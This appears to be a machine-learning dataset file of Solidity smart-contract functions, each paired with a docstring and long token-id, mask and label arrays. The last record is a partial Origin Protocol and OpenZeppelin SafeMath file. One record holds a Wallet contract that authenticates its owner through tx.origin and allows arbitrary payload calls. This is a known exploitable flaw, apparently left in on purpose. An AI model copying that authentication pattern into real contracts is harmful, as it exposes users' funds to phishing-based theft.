-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/4/0xA36E9521b824592Abcd85Feb997CedF6F0961d62/sources/iwish.sol
|
* @dev Release balance from contract. Requirements: - The caller must have DEFAULT_ADMIN_ROLE./
|
function release(address payable to, uint256 amount) public virtual {
require(
hasRole(DEFAULT_ADMIN_ROLE, _msgSender()),
"Must have admin role to release balance"
);
require(address(this).balance >= amount, "Not enough balance");
Address.sendValue(to, amount);
emit Release(to, amount);
}
| 721,927 |
[
1,
7391,
11013,
628,
6835,
18,
29076,
30,
300,
1021,
4894,
1297,
1240,
3331,
67,
15468,
67,
16256,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
3992,
12,
2867,
8843,
429,
358,
16,
2254,
5034,
3844,
13,
1071,
5024,
288,
203,
3639,
2583,
12,
203,
5411,
28335,
12,
5280,
67,
15468,
67,
16256,
16,
389,
3576,
12021,
1435,
3631,
203,
5411,
315,
10136,
1240,
3981,
2478,
358,
3992,
11013,
6,
203,
3639,
11272,
203,
3639,
2583,
12,
2867,
12,
2211,
2934,
12296,
1545,
3844,
16,
315,
1248,
7304,
11013,
8863,
203,
203,
3639,
5267,
18,
4661,
620,
12,
869,
16,
3844,
1769,
203,
203,
3639,
3626,
10819,
12,
869,
16,
3844,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0x6a89710eEf820C1EAA535097C9948C379d154d4d/sources/project_/contracts/token/Token.sol
|
* @dev See {IToken-burn}./
|
function burn(address _userAddress, uint256 _amount) public override onlyAgent {
require(balanceOf(_userAddress) >= _amount, "cannot burn more than balance");
uint256 freeBalance = balanceOf(_userAddress) - _frozenTokens[_userAddress];
if (_amount > freeBalance) {
uint256 tokensToUnfreeze = _amount - (freeBalance);
_frozenTokens[_userAddress] = _frozenTokens[_userAddress] - (tokensToUnfreeze);
emit TokensUnfrozen(_userAddress, tokensToUnfreeze);
}
_burn(_userAddress, _amount);
_tokenCompliance.destroyed(_userAddress, _amount);
}
| 5,562,283 |
[
1,
9704,
288,
1285,
969,
17,
70,
321,
5496,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
18305,
12,
2867,
389,
1355,
1887,
16,
2254,
5034,
389,
8949,
13,
1071,
3849,
1338,
3630,
288,
203,
3639,
2583,
12,
12296,
951,
24899,
1355,
1887,
13,
1545,
389,
8949,
16,
315,
12892,
18305,
1898,
2353,
11013,
8863,
203,
3639,
2254,
5034,
4843,
13937,
273,
11013,
951,
24899,
1355,
1887,
13,
300,
389,
28138,
5157,
63,
67,
1355,
1887,
15533,
203,
3639,
309,
261,
67,
8949,
405,
4843,
13937,
13,
288,
203,
5411,
2254,
5034,
2430,
774,
984,
29631,
273,
389,
8949,
300,
261,
9156,
13937,
1769,
203,
5411,
389,
28138,
5157,
63,
67,
1355,
1887,
65,
273,
389,
28138,
5157,
63,
67,
1355,
1887,
65,
300,
261,
7860,
774,
984,
29631,
1769,
203,
5411,
3626,
13899,
984,
28138,
24899,
1355,
1887,
16,
2430,
774,
984,
29631,
1769,
203,
3639,
289,
203,
3639,
389,
70,
321,
24899,
1355,
1887,
16,
389,
8949,
1769,
203,
3639,
389,
2316,
16687,
18,
11662,
329,
24899,
1355,
1887,
16,
389,
8949,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x4F08eE02951C376A13406894AB678D249C9E68c1/sources/RAYBancorConverter.sol
|
withdraw _amount from the RAY token specified
|
IRAY(rayPortfolioManager).redeem(rayTokenId, _amount, this);
| 9,259,190 |
[
1,
1918,
9446,
389,
8949,
628,
326,
534,
5255,
1147,
1269,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1377,
467,
6722,
12,
435,
17163,
1318,
2934,
266,
24903,
12,
435,
1345,
548,
16,
389,
8949,
16,
333,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/137/0xDef1C0ded9bec7F1a1670819833240f027b25EfF/sources/Users/jacob/projects/ethdev/0x/workspace-remote/workspace/0x-monorepo/contracts/zero-ex/contracts/src/features/BootstrapFeature.sol
|
@dev Self-destructs this contract. Can only be called by the deployer.
|
function die() external {
assert(address(this) == _implementation);
if (msg.sender != _deployer) {
LibProxyRichErrors.InvalidDieCallerError(msg.sender, _deployer).rrevert();
}
selfdestruct(msg.sender);
}
| 4,670,749 |
[
1,
10084,
17,
5489,
8813,
87,
333,
6835,
18,
1377,
4480,
1338,
506,
2566,
635,
326,
7286,
264,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
10387,
1435,
3903,
288,
203,
3639,
1815,
12,
2867,
12,
2211,
13,
422,
389,
30810,
1769,
203,
3639,
309,
261,
3576,
18,
15330,
480,
389,
12411,
264,
13,
288,
203,
5411,
10560,
3886,
22591,
4229,
18,
1941,
23196,
11095,
668,
12,
3576,
18,
15330,
16,
389,
12411,
264,
2934,
86,
266,
1097,
5621,
203,
3639,
289,
203,
3639,
365,
5489,
8813,
12,
3576,
18,
15330,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @notice This wallet can be used to store ETH for the owner
/// and send it to another address, with or without payload
contract Wallet {
address public owner;
event TransferToWallet(uint256 amount, uint256 total);
constructor() {
owner = tx.origin;
}
modifier onlyOwner() {
require(tx.origin == owner);
_;
}
/// @notice transfer the controll of the wallet to a new address
function transferOwnership(address _newOwner) external onlyOwner{
owner = _newOwner;
}
/// @notice send ETH to an other address
function send(uint256 _amount, address payable _recipient) external onlyOwner {
require(_amount <= address(this).balance, "Not enough ETH in wallet");
_recipient.transfer(_amount);
}
/// @notice send ETH to an other address along with a customizable payload
function sendWithPayload(uint256 _amount, address payable _recipient, bytes memory _payload) external onlyOwner {
require(_amount <= address(this).balance, "Not enough ETH in wallet");
(bool success,) = _recipient.call{value: _amount}(_payload);
require(success);
}
/// @notice used to fund the contract
function transferToWallet() external payable onlyOwner {
emit TransferToWallet(msg.value, address(this).balance);
}
}
|
@notice send ETH to an other address
|
function send(uint256 _amount, address payable _recipient) external onlyOwner {
require(_amount <= address(this).balance, "Not enough ETH in wallet");
_recipient.transfer(_amount);
}
| 15,792,964 |
[
1,
4661,
512,
2455,
358,
392,
1308,
1758,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1366,
12,
11890,
5034,
389,
8949,
16,
1758,
8843,
429,
389,
20367,
13,
3903,
1338,
5541,
288,
203,
3639,
2583,
24899,
8949,
1648,
1758,
12,
2211,
2934,
12296,
16,
315,
1248,
7304,
512,
2455,
316,
9230,
8863,
203,
3639,
389,
20367,
18,
13866,
24899,
8949,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/*
* Origin Protocol
* https://originprotocol.com
*
* Released under the MIT license
* https://github.com/OriginProtocol/origin-dollar
*
* Copyright 2020 Origin Protocol, Inc
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
